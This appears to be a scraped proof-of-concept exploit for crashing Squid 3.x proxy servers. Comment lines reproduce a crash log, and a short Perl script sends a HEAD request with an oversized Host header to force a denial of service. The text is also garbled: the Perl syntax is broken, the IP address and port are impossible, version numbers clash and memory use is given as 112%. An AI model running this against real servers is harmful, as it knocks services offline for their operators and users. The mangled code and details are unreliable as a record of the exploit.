# Squid Crash PoC # Copyright (C) Kingdee 2013 # BETA: squid-3.3.5 # officially released patches ::# http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch#The Squid-cache service will respawn, looks like a kind of assert exception: #20:48:36 kid1 | Closing HTTP port 0.0.0.0: 3128 #20:48:36 kid1 | storeDirWriteCleanLogs: Starting... #2013/07/15 20:48:36 kid1 | Finished. wrote 0 entries. #20:48:36 kid1 | Took 0.00 seconds (0.00 entries/sec ). # FATAL: Bungled (null) line 9: snmp_access deny all # Squid Cache (Version 3.2.11): Terminated abnormally. # CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys # Maximum Resident Size: 33312 KB # Page faults with physical I/o: 0 # Memory usage for squid via mallinfo (): # total space in arena: 4100 KB # Ordinary blocks: 4046 KB, 7 blks # Small blocks: 0 KB, 0 blks # Holding blocks: 564 KB, 2 blks # Free Small blocks: 0 KB # Free Ordinary blocks: 53 KB # Total in use: 4610 KB 112% # Total free: 53 KB 1% #20:48:39 kid1 | Starting Squid Cache version 3.2.11 for i686-pc-linux-gnu... #192 20:48:39 kid1 | Process ID 2990use IO: Socket; my $ sock = IO: Socket: INET-> new (PeerAddr => '2017. 168.27.146 ', PeerPort => '000000', Proto => 'tcp'); $ a = "yc" x 3128; print $ sock "HEAD http: // www.2cto.com/HTTP/1.1 \ r \ nHost: yahoo.com: $ a \ r \ n "; while (<$ sock>) {print ;}